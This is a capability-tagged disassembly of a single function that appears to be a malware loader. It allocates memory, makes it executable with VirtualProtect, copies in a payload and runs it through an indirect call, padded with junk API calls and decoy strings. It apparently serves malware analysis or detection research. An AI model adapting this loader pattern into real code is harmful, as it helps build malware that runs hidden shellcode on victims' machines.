Function at 0x4015a9
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.00406b10
mov ecx, dword [0xb66888]
push ebx
push esi
push edi
cmp ecx, 0x93
je 0x4017a2
mov eax, dword [0x41a3d0]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0xb6688c], eax
push esi
mov dword [0xb66888], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
mov dword [0xb66314], eax
push ecx
push 0x40
push dword [0xb66888]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0xa90ee
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x40160e
mov edx, dword [0xb66888]
mov edi, esi
test edx, edx
je 0x40169a
mov eax, dword [0xb6688c]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0xb66314]
mov byte [eax + edi], cl
cmp edx, 0x490
jne 0x401695
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
push str.vuhihamehit_yodisehomerafelagatanozaje_lojohifolirixofacegacajepijol
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push str.vayapobas
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
lea eax, [ebp - 0xd08]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x508]
push eax
push str.vuxicolocenem_wekec
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov edx, dword [0xb66888]
inc edi
cmp edi, edx
jb 0x401626
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x4016dd
push str.vuzajinijufaneyi_lubuwusifofeki_rotapixak_nap_lifacem
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
push str.ciruvonodipafanihocofote
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov edx, dword [0xb66888]
inc edi
cmp edi, 0x38681
jl 0x40169c
push ecx
call fcn.00401566
mov edi, esi
push esi
call ebx
cmp edi, 0x62
jne 0x4016fb
call fcn.0040158d
inc edi
cmp edi, 0x674db
jl 0x4016ee
push 0x7b
pop ebx
cmp dword [0xb66888], 0x86
jne 0x40176e
xor eax, eax
lea edi, [ebp - 0x36]
mov word [ebp - 0x38], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push esi
lea eax, [ebp - 0x10]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [ebp - 0x54]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1108]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0xb66888], 0xf
jne 0x401781
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec ebx
jne 0x401707
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0xb66314]
mov dword [0xb6687c], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.xekinuyorob_yiv_zucewimucozec
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push str.nonafewaluzujagizeluzavemokepeyiwosokisirerijuhehuduhopituyexulis
xor esi, esi
xor eax, eax
push esi
push esi
push esi
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push dword [ebp - 8]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
push esi
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push esi
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x41789c
push esi
call fcn.004035cc
push esi
call fcn.00403998
push esi
call fcn.00402a66
add esp, 0x10
push esi
call fcn.00404062
int3